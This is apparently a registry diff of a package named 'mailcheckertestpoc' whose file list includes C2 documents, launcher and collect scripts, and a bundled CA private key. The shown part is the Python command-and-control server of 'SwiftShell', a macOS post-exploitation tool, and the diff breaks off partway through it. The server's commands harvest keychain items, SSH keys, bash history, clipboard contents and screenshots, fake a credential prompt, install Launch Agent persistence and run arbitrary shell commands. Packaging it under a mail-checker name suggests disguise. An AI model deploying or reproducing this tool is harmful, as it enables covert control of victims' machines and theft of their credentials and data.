mailcheckertestpoc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/C2-INTEGRATION.md +215 -0
- package/PRESENTATION-FLOW.md +594 -0
- package/README.md +253 -0
- package/THESIS-C2-COMPLETE.md +479 -0
- package/index.js +7 -0
- package/package.json +53 -0
- package/payloads/ca.key +28 -0
- package/payloads/ca.pem +19 -0
- package/payloads/swiftshell-server.py +763 -0
- package/scripts/collect.js +271 -0
- package/scripts/launcher.js +175 -0
- package/scripts/server-launcher.js +206 -0
- package/scripts/swift-client-launcher.js +216 -0
|
@@ -0,0 +1,763 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
import os
|
|
3
|
+
from threading import Thread
|
|
4
|
+
from queue import Queue
|
|
5
|
+
import ssl
|
|
6
|
+
import sys
|
|
7
|
+
import subprocess
|
|
8
|
+
|
|
9
|
+
##first set up ssl for this server to properly run on ssl:
|
|
10
|
+
##1. openssl req -new -newkey rsa:1024 -nodes -out ca.csr -keyout ca.key
|
|
11
|
+
##2. openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem
|
|
12
|
+
##
|
|
13
|
+
##3. reference ca.pem and ca.key in the "context.load_cert_chain setting below in the start_server() function
|
|
14
|
+
##4. can also set up iptables on the server to restrict source connections from certain ranges:
|
|
15
|
+
##iptables -A INPUT -i eth1 -m iprange --src-range x.x.x.x-x.x.x.x -j ACCEPT
|
|
16
|
+
##iptables -P INPUT DROP
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
print("<\033[33m-----------------------------------------------------------------\033[0m>")
|
|
21
|
+
print("* __ _ __ _ __ _ _ _ *")
|
|
22
|
+
print("* / _\ _ _(_)/ _| |_/ _\ |__ ___| | | *")
|
|
23
|
+
print("* \ \ \ \ /\ / / | |_| __\ \| '_ \ / _ \ | | *")
|
|
24
|
+
print("* _\ \ \ V V /| | _| |__\ \ | | | __/ | | *")
|
|
25
|
+
print("* \__/ \_/\_/ |_|_| \__\__/_| |_|\___|_|_| *")
|
|
26
|
+
print('* *')
|
|
27
|
+
print('* *')
|
|
28
|
+
print("* _.---._ *")
|
|
29
|
+
print("* .'\"\".'/|\`.\"\"'. *")
|
|
30
|
+
print("* : .' / | \ `. : *")
|
|
31
|
+
print("* '.' / | \ `.' *")
|
|
32
|
+
print("* `. / | \ .' *")
|
|
33
|
+
print("* `-.__|__.-' *")
|
|
34
|
+
print('* *')
|
|
35
|
+
print('* *')
|
|
36
|
+
print("* \033[92mOSX Post Exploitation Tool (client written in Swift)\033[0m *")
|
|
37
|
+
print("* \033[92mauthor: @cedowens\033[0m *")
|
|
38
|
+
print("<\033[33m-----------------------------------------------------------------\033[0m>")
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
class ClientThread(Thread):
|
|
42
|
+
|
|
43
|
+
def __init__(self,ip,port,connection,session,srvport):
|
|
44
|
+
Thread.__init__(self)
|
|
45
|
+
self.ip = ip
|
|
46
|
+
self.port = port
|
|
47
|
+
print("[+] \033[92m[SESSION %s]: Connection received from %s:%s\033[0m" % (str(session),str(ip),str(port)))
|
|
48
|
+
|
|
49
|
+
while True:
|
|
50
|
+
command = input("\033[34m[SESSION %s: %s]>>>\033[0m " % (str(session),str(ip)))
|
|
51
|
+
if 'help' in command:
|
|
52
|
+
print("-"*100)
|
|
53
|
+
print("\033[33mHelp menu:\033[0m")
|
|
54
|
+
print("--->COMMANDS<---")
|
|
55
|
+
print(">\033[33msysteminfo\033[0m: Return useful system information: \033[92mIS OPSEC SAFE\033[0m")
|
|
56
|
+
print(">\033[33mwhoami\033[0m: Show current user identity: \033[92mIS OPSEC SAFE\033[0m")
|
|
57
|
+
print(">\033[33mcd [directory]\033[0m: cd to the directory specified (ex: cd /home): \033[92mIS OPSEC SAFE\033[0m")
|
|
58
|
+
print(">\033[33mlistdir\033[0m: list files and directories: \033[92mIS OPSEC SAFE\033[0m")
|
|
59
|
+
print(">\033[33mdownload [filename]\033[0m: after you cd to directory of interest, download files of interest (one at a time): \033[92mIS OPSEC SAFE\033[0m")
|
|
60
|
+
print(">\033[33mlistusers\033[0m: List users: \033[92mIS OPSEC SAFE\033[0m")
|
|
61
|
+
print(">\033[33maddresses\033[0m: List internal address(es) for this host: \033[92mIS OPSEC SAFE\033[0m")
|
|
62
|
+
print(">\033[33mlcwd: Show current server working directory")
|
|
63
|
+
print(">\033[33mpwd: Show working directory on host: \033[92mIS OPSEC SAFE\033[0m")
|
|
64
|
+
print(">\033[33mcat [filename]: Display file contents \033[92mIS OPSEC SAFE\033[0m")
|
|
65
|
+
print(">\033[33mprompt\033[0m: Propmpt the user to enter credentials: \033[91mMAY NOT BE OPSEC SAFE (osascript invoked)\033[0m")
|
|
66
|
+
print(">\033[33muserhist\033[0m: Grab bash history: \033[92mIS OPSEC SAFE\033[0m")
|
|
67
|
+
print(">\033[33mclipboard\033[0m: Grab text in the user's clipboard: \033[92mIS OPSEC SAFE\033[0m")
|
|
68
|
+
print(">\033[33mconnections\033[0m: Show active network connections: \033[91mMAY NOT BE OPSEC SAFE (lsof invoked)\033[0m")
|
|
69
|
+
print(">\033[33mchecksecurity\033[0m: Search for common EDR/AV products: \033[92mIS OPSEC SAFE\033[0m")
|
|
70
|
+
print(">\033[33mscreenshot\033[0m: Grap a screenshot of the OSX host: \033[92mIS OPSEC SAFE\033[0m")
|
|
71
|
+
print(">\033[33mpersist\033[0m: Add persistence as OSX Launch Agent. \033[91mMAY NOT BE OPSEC SAFE (launchctl load invoked to load the persistence)\033[0m")
|
|
72
|
+
print(">\033[33munpersist\033[0m: Remove the login persistence. \033[91mMAY NOT BE OPSEC SAFE (launchctl unload invoked to unload the persistence)\033[0m")
|
|
73
|
+
print(">\033[33mshell [shell command]\033[0m: Run a shell command...\033[91mNOT OPSEC SAFE (spawns processes for each shell command run)\033[0m")
|
|
74
|
+
print('')
|
|
75
|
+
print("--->OSQUERY<---")
|
|
76
|
+
print(">\033[33mcheck_osquery\033[0m: Check to see if osquery is on this host: \033[92mIS OPSEC SAFE\033[0m")
|
|
77
|
+
print(">\033[33mosquery_users\033[0m: Use osquery to pull back local users: \033[92mIS OPSEC SAFE\033[0m")
|
|
78
|
+
print(">\033[33mosquery_loggedin\033[0m: Use osquery to pull logged in user info: \033[92mIS OPSEC SAFE\033[0m")
|
|
79
|
+
print(">\033[33mosquery_usersshkeys\033[0m: Use osquery to pull ssh key info: \033[92mIS OPSEC SAFE\033[0m")
|
|
80
|
+
print(">\033[33mosquery_knownhosts\033[0m: Use osquery to pull back ssh known_hosts: \033[92mIS OPSEC SAFE\033[0m")
|
|
81
|
+
print(">\033[33mosquery_failedlogins\033[0m: Use osquery to pull back failed login and password last set info: \033[92mIS OPSEC SAFE\033[0m")
|
|
82
|
+
print(">\033[33mosquery_apps\033[0m: Use osquery to pull back a list of apps: \033[92mIS OPSEC SAFE\033[0m")
|
|
83
|
+
print(">\033[33mosquery_runningapps\033[0m: Use osquery to list currently running apps: \033[92mIS OPSEC SAFE\033[0m")
|
|
84
|
+
print(">\033[33mosquery_arpcache\033[0m: Use osquery to pull the arp cache: \033[92mIS OPSEC SAFE\033[0m")
|
|
85
|
+
print(">\033[33mosquery_keychainitems\033[0m: Use osquery to list keychain items: \033[92mIS OPSEC SAFE\033[0m")
|
|
86
|
+
print(">\033[33mosquery_osversion\033[0m: Use osquery to pull OS version info: \033[92mIS OPSEC SAFE\033[0m")
|
|
87
|
+
print(">\033[33mosquery_systeminfo\033[0m: Use osquery to pull basic system info: \033[92mIS OPSEC SAFE\033[0m")
|
|
88
|
+
print(">\033[33mosquery_wifi\033[0m: Use osquery to pull wifi info: \033[92mIS OPSEC SAFE\033[0m")
|
|
89
|
+
print(">\033[33mosquery_processinfo\033[0m: Use osquery to process info: \033[92mIS OPSEC SAFE\033[0m")
|
|
90
|
+
print(">\033[33mosquery_interfaces\033[0m: Use osquery to list local network interfaces: \033[92mIS OPSEC SAFE\033[0m")
|
|
91
|
+
print('')
|
|
92
|
+
print("--->OTHER<---")
|
|
93
|
+
print(">\033[33mexit\033[0m: Exit the session and stop the client")
|
|
94
|
+
print("-"*100)
|
|
95
|
+
|
|
96
|
+
elif 'exit' in command:
|
|
97
|
+
print('Exiting now...')
|
|
98
|
+
connection.send(command.encode('utf8'))
|
|
99
|
+
y = connection.recv(2048)
|
|
100
|
+
z = y.decode('utf8')
|
|
101
|
+
print("----Server still listening on port %s----" % str(srvport))
|
|
102
|
+
break
|
|
103
|
+
elif 'lcwd' in command:
|
|
104
|
+
x = subprocess.getstatusoutput("pwd")
|
|
105
|
+
print("Current server working directory:")
|
|
106
|
+
print(str(x).replace("(0, '", '').replace("')",''))
|
|
107
|
+
elif (('whoami' in command) and ('shell' not in command)):
|
|
108
|
+
connection.send(command.encode('utf8'))
|
|
109
|
+
y = connection.recv(1024)
|
|
110
|
+
z = y.decode('utf8').replace("(0, '", '').replace("')",'')
|
|
111
|
+
print("\033[92mUser Context:\033[0m %s" %str(z))
|
|
112
|
+
|
|
113
|
+
elif (('pwd' in command) and ('shell' not in command)):
|
|
114
|
+
connection.send(command.encode('utf8'))
|
|
115
|
+
data = connection.recv(1024)
|
|
116
|
+
data2 = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace("!EOF!",'')
|
|
117
|
+
print("\033[92m%s\033[0m" % str(data2))
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
elif (('cat' in command) and ('shell' not in command)):
|
|
121
|
+
connection.send(command.encode('utf8'))
|
|
122
|
+
data = connection.recv(8192)
|
|
123
|
+
if len(data) < 8192:
|
|
124
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
125
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
126
|
+
else:
|
|
127
|
+
while True:
|
|
128
|
+
g = connection.recv(8192)
|
|
129
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
130
|
+
if end in g:
|
|
131
|
+
break
|
|
132
|
+
data = data + g
|
|
133
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
134
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
135
|
+
|
|
136
|
+
elif 'listdir' in command:
|
|
137
|
+
connection.send(command.encode('utf8'))
|
|
138
|
+
data = connection.recv(8192)
|
|
139
|
+
if len(data) < 8192:
|
|
140
|
+
z = data.decode('utf8').replace(", ", "\n").replace("[", '').replace("]",'')
|
|
141
|
+
print("\033[93m%s\033[0m" % str(z))
|
|
142
|
+
|
|
143
|
+
else:
|
|
144
|
+
while True:
|
|
145
|
+
g = connection.recv(8192)
|
|
146
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
147
|
+
if end in g:
|
|
148
|
+
break
|
|
149
|
+
data = data + g
|
|
150
|
+
z = data.decode('utf8').replace("[", '').replace("]",'').replace("!EOF!",'')
|
|
151
|
+
print("\033[93m%s\033[0m" % str(z))
|
|
152
|
+
elif 'connections' in command:
|
|
153
|
+
connection.send(command.encode('utf8'))
|
|
154
|
+
data = connection.recv(8192)
|
|
155
|
+
|
|
156
|
+
if len(data) < 8192:
|
|
157
|
+
print("Current network connections:")
|
|
158
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
159
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
160
|
+
|
|
161
|
+
else:
|
|
162
|
+
while True:
|
|
163
|
+
g = connection.recv(8192)
|
|
164
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
165
|
+
if end in g:
|
|
166
|
+
break
|
|
167
|
+
data = data + g
|
|
168
|
+
print("Current network connections:")
|
|
169
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
170
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
171
|
+
|
|
172
|
+
elif 'check_osquery' in command:
|
|
173
|
+
connection.send(command.encode('utf8'))
|
|
174
|
+
data = connection.recv(8192)
|
|
175
|
+
|
|
176
|
+
if len(data) < 8192:
|
|
177
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
178
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
179
|
+
|
|
180
|
+
else:
|
|
181
|
+
while True:
|
|
182
|
+
g = connection.recv(8192)
|
|
183
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
184
|
+
if end in g:
|
|
185
|
+
break
|
|
186
|
+
data = data + g
|
|
187
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
188
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
189
|
+
|
|
190
|
+
elif 'osquery_processinfo' in command:
|
|
191
|
+
connection.send(command.encode('utf8'))
|
|
192
|
+
data = connection.recv(8192)
|
|
193
|
+
|
|
194
|
+
if len(data) < 8192:
|
|
195
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
196
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
197
|
+
|
|
198
|
+
else:
|
|
199
|
+
while True:
|
|
200
|
+
g = connection.recv(8192)
|
|
201
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
202
|
+
if end in g:
|
|
203
|
+
break
|
|
204
|
+
data = data + g
|
|
205
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
206
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
207
|
+
|
|
208
|
+
elif 'osquery_users' in command:
|
|
209
|
+
connection.send(command.encode('utf8'))
|
|
210
|
+
data = connection.recv(8192)
|
|
211
|
+
|
|
212
|
+
if len(data) < 8192:
|
|
213
|
+
print("OSQuery Info Pulled Back:")
|
|
214
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
215
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
216
|
+
|
|
217
|
+
else:
|
|
218
|
+
while True:
|
|
219
|
+
g = connection.recv(8192)
|
|
220
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
221
|
+
if end in g:
|
|
222
|
+
break
|
|
223
|
+
data = data + g
|
|
224
|
+
print("OSQuery Info Pulled Back:")
|
|
225
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
226
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
227
|
+
|
|
228
|
+
elif 'osquery_usersshkeys' in command:
|
|
229
|
+
connection.send(command.encode('utf8'))
|
|
230
|
+
data = connection.recv(8192)
|
|
231
|
+
|
|
232
|
+
if len(data) < 8192:
|
|
233
|
+
print("OSQuery Info Pulled Back:")
|
|
234
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
235
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
236
|
+
|
|
237
|
+
else:
|
|
238
|
+
while True:
|
|
239
|
+
g = connection.recv(8192)
|
|
240
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
241
|
+
if end in g:
|
|
242
|
+
break
|
|
243
|
+
data = data + g
|
|
244
|
+
print("OSQuery Info Pulled Back:")
|
|
245
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
246
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
247
|
+
|
|
248
|
+
elif 'osquery_runningapps' in command:
|
|
249
|
+
connection.send(command.encode('utf8'))
|
|
250
|
+
data = connection.recv(8192)
|
|
251
|
+
|
|
252
|
+
if len(data) < 8192:
|
|
253
|
+
print("OSQuery Info Pulled Back:")
|
|
254
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
255
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
256
|
+
|
|
257
|
+
else:
|
|
258
|
+
while True:
|
|
259
|
+
g = connection.recv(8192)
|
|
260
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
261
|
+
if end in g:
|
|
262
|
+
break
|
|
263
|
+
data = data + g
|
|
264
|
+
print("OSQuery Info Pulled Back:")
|
|
265
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
266
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
267
|
+
|
|
268
|
+
elif 'osquery_systeminfo' in command:
|
|
269
|
+
connection.send(command.encode('utf8'))
|
|
270
|
+
data = connection.recv(8192)
|
|
271
|
+
|
|
272
|
+
if len(data) < 8192:
|
|
273
|
+
print("OSQuery Info Pulled Back:")
|
|
274
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
275
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
276
|
+
|
|
277
|
+
else:
|
|
278
|
+
while True:
|
|
279
|
+
g = connection.recv(8192)
|
|
280
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
281
|
+
if end in g:
|
|
282
|
+
break
|
|
283
|
+
data = data + g
|
|
284
|
+
print("OSQuery Info Pulled Back:")
|
|
285
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
286
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
287
|
+
|
|
288
|
+
elif 'osquery_wifi' in command:
|
|
289
|
+
connection.send(command.encode('utf8'))
|
|
290
|
+
data = connection.recv(8192)
|
|
291
|
+
|
|
292
|
+
if len(data) < 8192:
|
|
293
|
+
print("OSQuery Info Pulled Back:")
|
|
294
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
295
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
296
|
+
|
|
297
|
+
else:
|
|
298
|
+
while True:
|
|
299
|
+
g = connection.recv(8192)
|
|
300
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
301
|
+
if end in g:
|
|
302
|
+
break
|
|
303
|
+
data = data + g
|
|
304
|
+
print("OSQuery Info Pulled Back:")
|
|
305
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
306
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
307
|
+
|
|
308
|
+
|
|
309
|
+
elif 'osquery_interfaces' in command:
|
|
310
|
+
connection.send(command.encode('utf8'))
|
|
311
|
+
data = connection.recv(8192)
|
|
312
|
+
|
|
313
|
+
if len(data) < 8192:
|
|
314
|
+
print("OSQuery Info Pulled Back:")
|
|
315
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
316
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
317
|
+
|
|
318
|
+
else:
|
|
319
|
+
while True:
|
|
320
|
+
g = connection.recv(8192)
|
|
321
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
322
|
+
if end in g:
|
|
323
|
+
break
|
|
324
|
+
data = data + g
|
|
325
|
+
print("OSQuery Info Pulled Back:")
|
|
326
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
327
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
328
|
+
|
|
329
|
+
elif 'osquery_osversion' in command:
|
|
330
|
+
connection.send(command.encode('utf8'))
|
|
331
|
+
data = connection.recv(8192)
|
|
332
|
+
|
|
333
|
+
if len(data) < 8192:
|
|
334
|
+
print("OSQuery Info Pulled Back:")
|
|
335
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
336
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
337
|
+
|
|
338
|
+
else:
|
|
339
|
+
while True:
|
|
340
|
+
g = connection.recv(8192)
|
|
341
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
342
|
+
if end in g:
|
|
343
|
+
break
|
|
344
|
+
data = data + g
|
|
345
|
+
print("OSQuery Info Pulled Back:")
|
|
346
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
347
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
348
|
+
|
|
349
|
+
elif 'osquery_keychainitems' in command:
|
|
350
|
+
connection.send(command.encode('utf8'))
|
|
351
|
+
data = connection.recv(8192)
|
|
352
|
+
|
|
353
|
+
if len(data) < 8192:
|
|
354
|
+
print("OSQuery Info Pulled Back:")
|
|
355
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
356
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
357
|
+
|
|
358
|
+
else:
|
|
359
|
+
while True:
|
|
360
|
+
g = connection.recv(8192)
|
|
361
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
362
|
+
if end in g:
|
|
363
|
+
break
|
|
364
|
+
data = data + g
|
|
365
|
+
print("OSQuery Info Pulled Back:")
|
|
366
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
367
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
368
|
+
|
|
369
|
+
|
|
370
|
+
elif 'osquery_failedlogins' in command:
|
|
371
|
+
connection.send(command.encode('utf8'))
|
|
372
|
+
data = connection.recv(8192)
|
|
373
|
+
|
|
374
|
+
if len(data) < 8192:
|
|
375
|
+
print("OSQuery Info Pulled Back:")
|
|
376
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
377
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
378
|
+
|
|
379
|
+
else:
|
|
380
|
+
while True:
|
|
381
|
+
g = connection.recv(8192)
|
|
382
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
383
|
+
if end in g:
|
|
384
|
+
break
|
|
385
|
+
data = data + g
|
|
386
|
+
print("OSQuery Info Pulled Back:")
|
|
387
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
388
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
389
|
+
|
|
390
|
+
elif 'osquery_loggedin' in command:
|
|
391
|
+
connection.send(command.encode('utf8'))
|
|
392
|
+
data = connection.recv(8192)
|
|
393
|
+
|
|
394
|
+
if len(data) < 8192:
|
|
395
|
+
print("OSQuery Info Pulled Back:")
|
|
396
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
397
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
398
|
+
|
|
399
|
+
else:
|
|
400
|
+
while True:
|
|
401
|
+
g = connection.recv(8192)
|
|
402
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
403
|
+
if end in g:
|
|
404
|
+
break
|
|
405
|
+
data = data + g
|
|
406
|
+
print("OSQuery Info Pulled Back:")
|
|
407
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
408
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
409
|
+
|
|
410
|
+
|
|
411
|
+
elif 'osquery_apps' in command:
|
|
412
|
+
connection.send(command.encode('utf8'))
|
|
413
|
+
data = connection.recv(8192)
|
|
414
|
+
|
|
415
|
+
if len(data) < 8192:
|
|
416
|
+
print("OSQuery Info Pulled Back:")
|
|
417
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
418
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
419
|
+
|
|
420
|
+
else:
|
|
421
|
+
while True:
|
|
422
|
+
g = connection.recv(8192)
|
|
423
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
424
|
+
if end in g:
|
|
425
|
+
break
|
|
426
|
+
data = data + g
|
|
427
|
+
print("OSQuery Info Pulled Back:")
|
|
428
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
429
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
430
|
+
|
|
431
|
+
elif 'osquery_arpcache' in command:
|
|
432
|
+
connection.send(command.encode('utf8'))
|
|
433
|
+
data = connection.recv(8192)
|
|
434
|
+
|
|
435
|
+
if len(data) < 8192:
|
|
436
|
+
print("OSQuery Info Pulled Back:")
|
|
437
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
438
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
439
|
+
|
|
440
|
+
else:
|
|
441
|
+
while True:
|
|
442
|
+
g = connection.recv(8192)
|
|
443
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
444
|
+
if end in g:
|
|
445
|
+
break
|
|
446
|
+
data = data + g
|
|
447
|
+
print("OSQuery Info Pulled Back:")
|
|
448
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
449
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
450
|
+
|
|
451
|
+
elif 'osquery_knownhosts' in command:
|
|
452
|
+
connection.send(command.encode('utf8'))
|
|
453
|
+
data = connection.recv(8192)
|
|
454
|
+
|
|
455
|
+
if len(data) < 8192:
|
|
456
|
+
print("OSQuery Info Pulled Back:")
|
|
457
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").strip()
|
|
458
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
459
|
+
|
|
460
|
+
else:
|
|
461
|
+
while True:
|
|
462
|
+
g = connection.recv(8192)
|
|
463
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
464
|
+
if end in g:
|
|
465
|
+
break
|
|
466
|
+
data = data + g
|
|
467
|
+
print("OSQuery Info Pulled Back:")
|
|
468
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n").replace("!EOF!",'').strip()
|
|
469
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
470
|
+
|
|
471
|
+
elif (('cd ' in command) and ('shell' not in command)):
|
|
472
|
+
connection.send(command.encode('utf8'))
|
|
473
|
+
w = connection.recv(2048)
|
|
474
|
+
z = w.decode('utf8').replace("(0, '", '').replace("')",'')
|
|
475
|
+
if '/' in z:
|
|
476
|
+
print("\033[92m[+] Current directory changed to %s" % str(z))
|
|
477
|
+
else:
|
|
478
|
+
print("Directory not found.")
|
|
479
|
+
|
|
480
|
+
elif 'addresses' in command:
|
|
481
|
+
connection.send(command.encode('utf8'))
|
|
482
|
+
w = connection.recv(1024)
|
|
483
|
+
print('IP address(es) found:')
|
|
484
|
+
z = w.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", '\n')
|
|
485
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
486
|
+
elif 'listusers' in command:
|
|
487
|
+
connection.send(command.encode('utf8'))
|
|
488
|
+
w = connection.recv(1024)
|
|
489
|
+
z = w.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", '\n')
|
|
490
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
491
|
+
elif 'userhist' in command:
|
|
492
|
+
connection.send(command.encode('utf8'))
|
|
493
|
+
data = connection.recv(8192)
|
|
494
|
+
|
|
495
|
+
if len(data) < 8192:
|
|
496
|
+
file = 'userhist.txt'
|
|
497
|
+
f = open("%s" % file, "wb")
|
|
498
|
+
f.write(data)
|
|
499
|
+
f.close()
|
|
500
|
+
print('\033[92m[+] History data saved to "userhist.txt" in current server directory\033[0m')
|
|
501
|
+
|
|
502
|
+
else:
|
|
503
|
+
while True:
|
|
504
|
+
g = connection.recv(8192)
|
|
505
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
506
|
+
if end in g:
|
|
507
|
+
break
|
|
508
|
+
data = data + g
|
|
509
|
+
file = 'userhist.txt'
|
|
510
|
+
f = open("%s" % file, "wb")
|
|
511
|
+
f.write(data)
|
|
512
|
+
f.close()
|
|
513
|
+
print('\033[92m[+] History data saved to "userhist.txt" in current server directory\033[0m')
|
|
514
|
+
|
|
515
|
+
elif 'screenshot' in command:
|
|
516
|
+
|
|
517
|
+
connection.send(command.encode('utf8'))
|
|
518
|
+
data = connection.recv(8192)
|
|
519
|
+
while True:
|
|
520
|
+
g = connection.recv(8192)
|
|
521
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
522
|
+
if end in g:
|
|
523
|
+
break
|
|
524
|
+
data = data + g
|
|
525
|
+
file = 'screenshot.jpg'
|
|
526
|
+
f = open("%s" % file, "wb")
|
|
527
|
+
f.write(data)
|
|
528
|
+
f.close()
|
|
529
|
+
print('\033[92m[+] Screenshot saved to "screenshot.jpg" in current server directory\033[0m')
|
|
530
|
+
|
|
531
|
+
